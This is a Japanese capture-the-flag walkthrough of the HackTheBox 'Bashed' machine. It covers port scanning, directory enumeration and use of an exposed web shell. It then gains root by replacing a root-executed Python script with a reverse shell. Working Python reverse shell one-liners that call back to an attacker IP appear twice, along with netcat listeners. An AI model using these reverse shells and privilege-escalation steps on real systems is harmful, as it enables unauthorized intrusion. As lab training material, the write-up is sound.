🔥

HackTheBox Bashed

2022/09/13に公開

Bashed

侵入

nmap

ポートスキャンを行う

┌──(kali㉿kali)-[~/Desktop/Bashed]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.68 -oN nmap.log
Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-13 00:10 JST
Scanning 10.10.10.68 [65535 ports]
Discovered open port 80/tcp on 10.10.10.68
PORT   STATE SERVICE    REASON         VERSION
80/tcp open  tcpwrapped syn-ack ttl 63
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=9/13%OT=80%CT=1%CU=37533%PV=Y%DS=2%DC=T%G=Y%TM=631F4C3
OS:=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

80番ポートを発見

web

web ページにアクセスしてみる

特に情報は見当たらない

gobuster

ディレクトリ探索を行う

┌──(kali㉿kali)-[~/Desktop/Bashed]
└─$ gobuster dir -u http://10.10.10.68/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.68/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/09/13 00:12:56 Starting gobuster in directory enumeration mode
===============================================================
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
/index.html           (Status: 200) [Size: 7743]                             
/php                  (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]   
/server-status        (Status: 403) [Size: 299]                                 
/uploads              (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
===============================================================
2022/09/13 00:14:51 Finished
===============================================================

dev や uploads を発見

dev

dev にアクセスしてみる

phpbash.php、phpbash.min.php を発見

phpbash.php


ターミナルのような画面が出力された

実際に www-data としてコマンドが実行できることがわかる

www-data としてのシェル

python

以下のコマンドを実行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

kali 側

┌──(kali㉿kali)-[~/Desktop/Bashed]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.68] 35628
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

シェルの取得に成功

shell アップグレード

$ python3 -c 'import pty; pty.spawn("/bin/bash")' 
www-data@bashed:/var/www/html/dev$

アップグレード成功

user フラグ

www-data@bashed:/home/arrexel$ ls -l
total 4
-r--r--r-- 1 arrexel arrexel 33 Sep 12 08:05 user.txt
www-data@bashed:/home/arrexel$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグの取得に成功

列挙

sudo

とりあえず sudo を確かめてみる

www-data@bashed:/home$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

scriptmanager で NOPASSWD を確認

scriptmanager としてのシェル

bash

以下のコマンドを実行

www-data@bashed:/home$ sudo -u scriptmanager bash -i
scriptmanager@bashed:/home$

シェルの取得に成功

権限昇格

find

scriptmanager が所有するものを検索する

scriptmanager@bashed:/home$ find / -user scriptmanager 2>/dev/null 
/scripts
/scripts/test.py
/home/scriptmanager
/home/scriptmanager/.profile

scripts を発見

scripts

test.py と test.txt を発見

scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

test.txt に書き込みを行なっているようなコード

scriptmanager@bashed:/scripts$ cat test.txt
testing 123!

出力から読みが当たっていることを確認

scriptmanager@bashed:/scripts$ ls -l
total 8
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec  4  2017 test.py
-rw-r--r-- 1 root          root          12 Sep 12 08:57 test.txt

test.txt は root が所有しているが、書き込みできている

test2.txt

test.py の内容を以下のように変更

scriptmanager@bashed:/scripts$ cat test.py
f = open("test2.txt", "w")
f.write("testing 123!")
f.close

test2.txt に対して書き込みを行うようにする

scriptmanager@bashed:/scripts$ ls -l
total 12
-rw-r--r-- 1 scriptmanager scriptmanager 59 Sep 12 09:14 test.py
-rw-r--r-- 1 root          root          12 Sep 12 09:08 test.txt
-rw-r--r-- 1 root          root          12 Sep 12 09:16 test2.txt

test2.txt が作成され、うまく実行できたことがわかった

exploit

シェルの取得を目指す

scriptmanager@bashed:/scripts$ cat test.py
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.5",5555));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

test.py の内容を上記のように変更

root としてのシェル

nc

┌──(kali㉿kali)-[~/Desktop/HackTheBox/Bashed]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.68] 35300
/bin/sh: 0: can't access tty; job control turned off
# whoami
root

権限昇格成功

root フラグ

# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグの取得に成功

所感

今回は簡単なボックスだったが、基本的な知識を復習する意味でもいい勉強になったと思う。test.py の仕組みを完全に理解することは出来ていないので、他の攻略記事を参考にして勉強していきたい。

Discussion